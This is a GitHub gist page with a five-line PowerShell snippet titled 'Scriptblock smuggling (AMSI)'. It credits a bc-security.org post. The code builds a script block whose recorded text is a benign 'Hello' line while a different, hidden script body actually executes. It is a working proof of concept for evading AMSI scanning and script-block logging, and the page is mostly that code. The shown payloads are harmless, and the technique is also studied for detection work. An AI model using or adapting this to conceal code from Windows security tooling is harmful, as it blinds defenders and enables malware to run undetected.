Skip to content

Instantly share code, notes, and snippets.

@k4nfr3

k4nfr3/gist:b6a54bdd647273a3261c8c2bc34a9c24

Created June 18, 2024 11:36
Show Gist options
  • Save k4nfr3/b6a54bdd647273a3261c8c2bc34a9c24 to your computer and use it in GitHub Desktop.
Save k4nfr3/b6a54bdd647273a3261c8c2bc34a9c24 to your computer and use it in GitHub Desktop.
Download ZIP
Powershell Scriptblock smuggling (AMSI ) from https://bc-security.org/scriptblock-smuggling/
Raw
gistfile1.txt
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast
$ExecutedAst = [ScriptBlock]::Create("Write-Output 'My Hidden Hello Hidden'").Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,$null,$null,$null,$ExecutedAst.EndBlock.Copy(),$null)
$Sb = $Ast.GetScriptBlock()
$Sb&
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment